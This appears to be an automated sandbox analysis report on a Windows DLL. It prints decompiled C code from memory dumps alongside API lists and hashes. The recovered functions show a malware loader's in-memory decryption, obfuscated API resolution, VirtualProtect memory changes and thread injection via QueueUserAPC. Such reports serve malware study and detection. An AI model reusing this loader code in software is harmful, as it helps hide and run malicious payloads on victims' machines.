0x6d49147a
0x6d491488
0x6d491489
0x6d49148c
0x6d49148f
0x6d491498
0x6d49149b
0x6d4914a1
0x6d4914a4
0x6d4914ab
0x6d491556
0x00000000
0x6d491556
0x6d4914b5
0x6d491506
0x6d491506
0x6d49151c
0x6d491521
0x6d491549
0x6d491523
0x6d491526
0x6d49152c
0x6d491531
0x6d491538
0x6d491538
0x6d49153f
0x6d49153f
0x6d49154c
0x6d491552
0x6d491554
0x6d491554
0x00000000
0x6d491552
0x6d4914c2
0x6d491500
0x00000000
0x6d491500
0x6d4914c4
0x6d4914c7
0x6d4914d0
0x6d4914d2
0x6d4914d6
0x6d4914f8
0x6d4914f8
0x00000000
0x6d4914f8
0x6d4914d8
0x6d4914dd
0x6d4914e2
0x6d4914e9
0x00000000
0x00000000
0x6d4914ee
0x6d4914f1
0x00000000

APIs

Part of subcall function 6D491F0E: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6D491462,73B763F0), ref: 6D491F1D
Part of subcall function 6D491F0E: GetVersion.KERNEL32 ref: 6D491F2C
Part of subcall function 6D491F0E: GetCurrentProcessId.KERNEL32 ref: 6D491F48
Part of subcall function 6D491F0E: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6D491F61

GetSystemTime.KERNEL32(?,00000000,73B763F0), ref: 6D491474
SwitchToThread.KERNEL32 ref: 6D49147A

Part of subcall function 6D491717: VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,00000000), ref: 6D49176D
Part of subcall function 6D491717: memcpy.NTDLL(?,?,?,?,?,?,00000000), ref: 6D491833

Sleep.KERNELBASE(00000000,00000000), ref: 6D49149B
GetLongPathNameW.KERNELBASE ref: 6D4914D0
GetLongPathNameW.KERNELBASE ref: 6D4914EE
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 6D491526
GetExitCodeThread.KERNEL32(00000000,?), ref: 6D491538
CloseHandle.KERNEL32(00000000), ref: 6D49153F
GetLastError.KERNEL32(?,00000000), ref: 6D491547
GetLastError.KERNEL32 ref: 6D491554

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThread$AllocCloseCodeCreateCurrentEventExitHandleObjectOpenSingleSleepSwitchSystemTimeVersionVirtualWaitmemcpy
String ID:
API String ID: 1962885430-0
Opcode ID: 2b20a44840af0d77e712d82fa25dd031d822fcc12e9c542840f12aef82975529
Instruction ID: 2d109aea3e339091712d39c4cc3b611f83748f5df98c79b2cd2302373d85c1c6
Opcode Fuzzy Hash: 2b20a44840af0d77e712d82fa25dd031d822fcc12e9c542840f12aef82975529
Instruction Fuzzy Hash: CF318775904515ABCB11EFA78848EAE7FBC9F5A3707224516E519EF244E734CE00CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D491146, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D491146(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E6D492009(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x6d494144 + 0x6d495014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x6d494144 + 0x6d495151);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E6D49201E(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x6d494144 + 0x6d495161);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x6d494144 + 0x6d495174);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x6d494144 + 0x6d495189);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x6d494144 + 0x6d49519f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E6D491996(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x6d491154
0x6d491158
0x6d491219
0x6d49115e
0x6d491176
0x6d491185
0x6d49118c
0x6d49118e
0x6d491193
0x6d491211
0x6d491212
0x6d491195
0x6d4911a2
0x6d4911a4
0x6d4911a9
0x00000000
0x6d4911ab
0x6d4911b8
0x6d4911ba
0x6d4911bf
0x00000000
0x6d4911c1
0x6d4911ce
0x6d4911d0
0x6d4911d5
0x00000000
0x6d4911d7
0x6d4911e4
0x6d4911e6
0x6d4911eb
0x00000000
0x6d4911ed
0x6d4911f3
0x6d4911f9
0x6d4911fe
0x6d491203
0x6d491208
0x00000000
0x6d49120a
0x6d49120d
0x6d49120d
0x6d491208
0x6d4911eb
0x6d4911d5
0x6d4911bf
0x6d4911a9
0x6d491193
0x6d491227

APIs

Part of subcall function 6D492009: HeapAlloc.KERNEL32(00000000,?,6D491FA5,00000208,00000000,00000000,?,?,?,6D4914C0,?), ref: 6D492015

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,6D491670,?,?,?,?,?,00000002,?,?), ref: 6D49116A
GetProcAddress.KERNEL32(00000000,?), ref: 6D49118C
GetProcAddress.KERNEL32(00000000,?), ref: 6D4911A2
GetProcAddress.KERNEL32(00000000,?), ref: 6D4911B8
GetProcAddress.KERNEL32(00000000,?), ref: 6D4911CE
GetProcAddress.KERNEL32(00000000,?), ref: 6D4911E4

Part of subcall function 6D491996: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,73B74EE0,00000000,00000000,?), ref: 6D4919F3
Part of subcall function 6D491996: memset.NTDLL ref: 6D491A15

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: 9154b03843d7c1d0d7beeae27b08ed9468877929afa86919d70d5df38046b23c
Instruction ID: 4812e68667e5c0b1e23f6cca5ba264c02805a32c5686cc91fb25cff6798e35f1
Opcode Fuzzy Hash: 9154b03843d7c1d0d7beeae27b08ed9468877929afa86919d70d5df38046b23c
Instruction Fuzzy Hash: 5021397060060BAFDB11EFBBC984E6A7BFCAB253447114425E919EF201E770ED11CB64

Uniqueness

Uniqueness Score: -1.00%

Function 6D491D4B, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x6d494108);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x6d49410c;
						if( *0x6d49410c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x6d494118;
								if( *0x6d494118 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x6d49410c);
						}
						HeapDestroy( *0x6d494110);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x6d494108) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						 *0x6d494110 = _t18;
						_t41 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x6d494130 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E6D49155C(E6D4915EA, E6D491A86(_a12, 1, 0x6d494118, _t41));
							 *0x6d49410c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x6d491d4e
0x6d491d5a
0x6d491d5c
0x6d491d5f
0x6d491dd5
0x6d491ddb
0x6d491ddd
0x6d491ddf
0x6d491de5
0x6d491de7
0x6d491dec
0x6d491def
0x6d491dfa
0x6d491dfc
0x00000000
0x00000000
0x6d491dfe
0x6d491e01
0x6d491e03
0x00000000
0x00000000
0x00000000
0x6d491e03
0x6d491e0b
0x6d491e0b
0x6d491e17
0x6d491e17
0x6d491d61
0x6d491d62
0x6d491d82
0x6d491d88
0x6d491d8d
0x6d491d8f
0x6d491dcb
0x6d491dcb
0x6d491d91
0x6d491d99
0x6d491da0
0x6d491daa
0x6d491db6
0x6d491dbb
0x6d491dc2
0x6d491dc7
0x00000000
0x6d491dc7
0x6d491dc2
0x6d491d8f
0x6d491d62
0x6d491e24

APIs

InterlockedIncrement.KERNEL32(6D494108), ref: 6D491D6D
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 6D491D82

Part of subcall function 6D49155C: CreateThread.KERNELBASE(00000000,00000000,00000000,?,6D494118,6D491DBB), ref: 6D491573
Part of subcall function 6D49155C: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6D491588
Part of subcall function 6D49155C: GetLastError.KERNEL32(00000000), ref: 6D491593
Part of subcall function 6D49155C: TerminateThread.KERNEL32(00000000,00000000), ref: 6D49159D
Part of subcall function 6D49155C: CloseHandle.KERNEL32(00000000), ref: 6D4915A4
Part of subcall function 6D49155C: SetLastError.KERNEL32(00000000), ref: 6D4915AD

InterlockedDecrement.KERNEL32(6D494108), ref: 6D491DD5
SleepEx.KERNEL32(00000064,00000001), ref: 6D491DEF
CloseHandle.KERNEL32 ref: 6D491E0B
HeapDestroy.KERNEL32 ref: 6D491E17

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: 626c3bcf49e7c8933cfad8d244448cddf09a65370aba6458815580eba438a613
Instruction ID: 975cda39d20221510b45df9456eff16289c9ecf57d4d622596f1a92929e4347c
Opcode Fuzzy Hash: 626c3bcf49e7c8933cfad8d244448cddf09a65370aba6458815580eba438a613
Instruction Fuzzy Hash: 20214271904255AFDF00AFABC88DF6A7FB8F76A3A57114529E529DE241D730CD008F54

Uniqueness

Uniqueness Score: -1.00%

Function 6D49155C, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D49155C(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x6d494140, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x6d491573
0x6d491579
0x6d49157d
0x6d491588
0x6d491590
0x6d491599
0x6d49159d
0x6d4915a4
0x6d4915ab
0x6d4915ad
0x6d4915b3
0x6d491590
0x6d4915b7

APIs

CreateThread.KERNELBASE(00000000,00000000,00000000,?,6D494118,6D491DBB), ref: 6D491573
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6D491588
GetLastError.KERNEL32(00000000), ref: 6D491593
TerminateThread.KERNEL32(00000000,00000000), ref: 6D49159D
CloseHandle.KERNEL32(00000000), ref: 6D4915A4
SetLastError.KERNEL32(00000000), ref: 6D4915AD

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: b89ba0abd85d8b46d28c2e459e661accd89c101683e7d0c8a4755753e0c7d56f
Instruction ID: 42f301fdb9497012a1b672fca1bf61c769a7f707cada7bf338849bf1ab585710
Opcode Fuzzy Hash: b89ba0abd85d8b46d28c2e459e661accd89c101683e7d0c8a4755753e0c7d56f
Instruction Fuzzy Hash: 9FF05832204621FBDB226FA38C0DFAABF78FB2B761F014404FA1E99154C721CD109BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D491717, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6D491717(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				char _v12;
				void* _v16;
				unsigned int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				void* _v36;
				signed int _v40;
				signed char _v44;
				void* _v48;
				signed int _v56;
				signed int _v60;
				intOrPtr _t50;
				void* _t57;
				void* _t61;
				signed int _t67;
				signed char _t69;
				signed char _t70;
				void* _t76;
				intOrPtr _t77;
				unsigned int _t82;
				intOrPtr _t86;
				intOrPtr* _t89;
				intOrPtr _t90;
				void* _t91;
				signed int _t93;

				_t90 =  *0x6d494130;
				_t50 = E6D49193C(_t90,  &_v28,  &_v20);
				_v24 = _t50;
				if(_t50 == 0) {
					asm("sbb ebx, ebx");
					_t67 =  ~( ~(_v20 & 0x00000fff)) + (_v20 >> 0xc);
					_t91 = _t90 + _v28;
					_v48 = _t91;
					_t57 = VirtualAlloc(0, _t67 << 0xc, 0x3000, 4); // executed
					_t76 = _t57;
					_v36 = _t76;
					if(_t76 == 0) {
						_v24 = 8;
					} else {
						_t69 = 0;
						if(_t67 <= 0) {
							_t77 =  *0x6d494140;
						} else {
							_t86 = _a4;
							_v8 = _t91;
							_v8 = _v8 - _t76;
							_t14 = _t86 + 0x6d4951a7; // 0x3220a9c2
							_t61 = _t57 - _t91 + _t14;
							_v16 = _t76;
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t70 = _t69 + 1;
								_v44 = _t70;
								_t82 = (_v60 ^ _v56) + _v28 + _a4 >> _t70;
								if(_t82 != 0) {
									_v32 = _v32 & 0x00000000;
									_t89 = _v16;
									_v12 = 0x400;
									do {
										_t93 =  *((intOrPtr*)(_v8 + _t89));
										_v40 = _t93;
										if(_t93 == 0) {
											_v12 = 1;
										} else {
											 *_t89 = _t93 + _v32 - _t82;
											_v32 = _v40;
											_t89 = _t89 + 4;
										}
										_t33 =  &_v12;
										 *_t33 = _v12 - 1;
									} while ( *_t33 != 0);
								}
								_t69 = _v44;
								_t77 =  *((intOrPtr*)(_t61 + 0xc)) -  *((intOrPtr*)(_t61 + 8)) +  *((intOrPtr*)(_t61 + 4));
								_v16 = _v16 + 0x1000;
								 *0x6d494140 = _t77;
							} while (_t69 < _t67);
						}
						if(_t77 != 0x63699bc3) {
							_v24 = 0xc;
						} else {
							memcpy(_v48, _v36, _v20);
						}
						VirtualFree(_v36, 0, 0x8000); // executed
					}
				}
				return _v24;
			}

0x6d49171e
0x6d49172e
0x6d491733
0x6d491738
0x6d49174d
0x6d491754
0x6d491759
0x6d49176a
0x6d49176d
0x6d491773
0x6d491775
0x6d49177a
0x6d491856
0x6d491780
0x6d491780
0x6d491784
0x6d49181c
0x6d49178a
0x6d49178b
0x6d491790
0x6d491793
0x6d491796
0x6d491796
0x6d49179d
0x6d4917a0
0x6d4917a8
0x6d4917a9
0x6d4917aa
0x6d4917b1
0x6d4917b5
0x6d4917bb
0x6d4917bf
0x6d4917c1
0x6d4917c5
0x6d4917c8
0x6d4917cf
0x6d4917d2
0x6d4917d5
0x6d4917da
0x6d4917f0
0x6d4917dc
0x6d4917e6
0x6d4917e8
0x6d4917eb
0x6d4917eb
0x6d4917f7
0x6d4917f7
0x6d4917f7
0x6d4917cf
0x6d491802
0x6d491805
0x6d491808
0x6d49180f
0x6d491815
0x6d491819
0x6d491828
0x6d49183d
0x6d49182a
0x6d491833
0x6d491838
0x6d49184e
0x6d49184e
0x6d49185d
0x6d491863

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,00000000), ref: 6D49176D
memcpy.NTDLL(?,?,?,?,?,?,00000000), ref: 6D491833
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?,00000000), ref: 6D49184E

Strings

Jun 9 2021, xrefs: 6D4917A0

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Jun 9 2021
API String ID: 4010158826-3443083063
Opcode ID: dc30b32431c47693dd957ed1e121aadaf443a82dbeca1b162cb58404d0f7fc51
Instruction ID: 704b3b1416205fff755bed99ef3f7beaccf3ace0a9b6a3713c735694d375e454
Opcode Fuzzy Hash: dc30b32431c47693dd957ed1e121aadaf443a82dbeca1b162cb58404d0f7fc51
Instruction Fuzzy Hash: 1E415875D0020A9BDF01CF9AC884EAEBBBABF59314F248169E9147B344C775AD06CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6D4915EA, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6D4915EA(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E6D491456(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x6d4915f3
0x6d4915f8
0x6d491606
0x6d49160b
0x6d49160b
0x6d491611
0x6d491616
0x6d49161a
0x6d49161e
0x6d49161e
0x6d491628
0x6d491631

APIs

GetCurrentThread.KERNEL32 ref: 6D4915ED
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 6D4915F8
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 6D49160B
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 6D49161E

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: 70ae23a4dd26ae1e8588aa6d5aa1847f40730501d5e8dc1d7f721a285881d52b
Instruction ID: d00acb7d2ae72e3db134dcffd441637d49a6cf217b07011e23aad8866c035bc1
Opcode Fuzzy Hash: 70ae23a4dd26ae1e8588aa6d5aa1847f40730501d5e8dc1d7f721a285881d52b
Instruction Fuzzy Hash: 97E0923120A2116BA6016A2B4C88F6F6B6CDF9B3717154336F925DA2D4DB60CC0189B9

Uniqueness

Uniqueness Score: -1.00%

Function 6D491020, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6D491020(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x6d494140;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x63699bbf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x63699bbf;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x777fa9b0 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x63699bc1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x63699ba3;
					} else {
						_t54 = _t57 - 0x63699b83;
					}
					goto L9;
				}
				goto L12;
			}

0x6d49102a
0x6d491037
0x6d49103d
0x6d491049
0x6d491059
0x6d49105b
0x6d491063
0x6d4910f8
0x6d4910ff
0x00000000
0x00000000
0x00000000
0x6d491069
0x6d491069
0x6d491069
0x6d49106d
0x00000000
0x00000000
0x6d491079
0x6d49107d
0x6d4910a1
0x6d4910a5
0x6d4910b9
0x6d4910b9
0x6d4910bf
0x6d4910ce
0x6d4910d2
0x6d4910da
0x6d4910da
0x6d4910e2
0x6d4910e5
0x6d4910f2
0x00000000
0x00000000
0x00000000
0x00000000
0x6d4910f2
0x6d4910ad
0x6d4910b1
0x6d4910b7
0x00000000
0x00000000
0x00000000
0x6d4910b7
0x6d491085
0x6d491089
0x6d491093
0x6d49108b
0x6d49108b
0x6d49108b
0x00000000
0x6d491089
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,?), ref: 6D491059
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 6D4910CE
GetLastError.KERNEL32 ref: 6D4910D4

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: 285770fa56b8929d7721c11ac0883fd7dbb9f81a3b67029869125c8ab7642201
Instruction ID: 86770206dbc8ed670bff35eb6658a37438898064f68eb5af7f571cbb65b4b077
Opcode Fuzzy Hash: 285770fa56b8929d7721c11ac0883fd7dbb9f81a3b67029869125c8ab7642201
Instruction Fuzzy Hash: 9D218031900206DFCB14DF96C481EAAFBF9FF08359F00895AD1069B941E379AA59CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6D491E55, Relevance: 3.1, APIs: 2, Instructions: 59
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D491E55() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x6d494144;
				if( *0x6d49412c > 5) {
					_t16 = _t15 + 0x6d4950f9;
				} else {
					_t16 = _t15 + 0x6d4950b1;
				}
				E6D4916F1(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				if(E6D49132A( &_v32,  &_v16,  *0x6d494140 ^ 0xfd7cd1cf) == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x6d494138);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E6D491ADA(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x6d494138 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E6D492033(_t44, _t32 + 4);
						}
					}
					_t25 = E6D491634(_v28); // executed
				}
				ExitThread(_t25);
			}

0x6d491e5b
0x6d491e6c
0x6d491e76
0x6d491e6e
0x6d491e6e
0x6d491e6e
0x6d491e7d
0x6d491e86
0x6d491e8b
0x6d491ea9
0x6d491f05
0x6d491eab
0x6d491eb1
0x6d491eb7
0x6d491ec5
0x6d491ec9
0x6d491ed0
0x6d491ed9
0x6d491edd
0x6d491ee3
0x6d491ef4
0x6d491ee5
0x6d491eeb
0x6d491eeb
0x6d491ee3
0x6d491efc
0x6d491efc
0x6d491f07

APIs

lstrlenW.KERNEL32(?,?,?,?), ref: 6D491EB1
ExitThread.KERNEL32 ref: 6D491F07

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitThreadlstrlen
String ID:
API String ID: 2636182767-0
Opcode ID: faeddea83e4a49b69e86f887971715570bf0ceb56705d53e5ad3e230eaee8654
Instruction ID: a0e2c974dbec8ef93c10b088fc55a0905a2235266dbc576bb10d5de8cdd3a6a8
Opcode Fuzzy Hash: faeddea83e4a49b69e86f887971715570bf0ceb56705d53e5ad3e230eaee8654
Instruction Fuzzy Hash: 1F1181325082069BEB11DB66C848F977BECAB2A344F11481AB654DF250E730DD05CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6D4CCBB1, Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,6D4C6C97,?), ref: 6D4CCBC6

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b65c2172b04f28720f903181272021b8fda548f24eb6873ff7bd8fc22fd32911
Instruction ID: 00cf2ed169e5bcc1e7b84712b9860469f46835220bf01c14d6fe97f51599cfc4
Opcode Fuzzy Hash: b65c2172b04f28720f903181272021b8fda548f24eb6873ff7bd8fc22fd32911
Instruction Fuzzy Hash: BAD0A7766943555EDF005EB1AC09F763BFCD386796F144435B90DC6580F775C950CA00

Uniqueness

Uniqueness Score: -1.00%

Function 6D4916F1, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6D4916F1(void* __eax, intOrPtr _a4) {

				 *0x6d494150 =  *0x6d494150 & 0x00000000;
				_push(0);
				_push(0x6d49414c);
				_push(1);
				_push(_a4);
				 *0x6d494148 = 0xc; // executed
				L6D491A3E(); // executed
				return __eax;
			}

0x6d4916f1
0x6d4916f8
0x6d4916fa
0x6d4916ff
0x6d491701
0x6d491705
0x6d49170f
0x6d491714

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(6D491E82,00000001,6D49414C,00000000), ref: 6D49170F

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
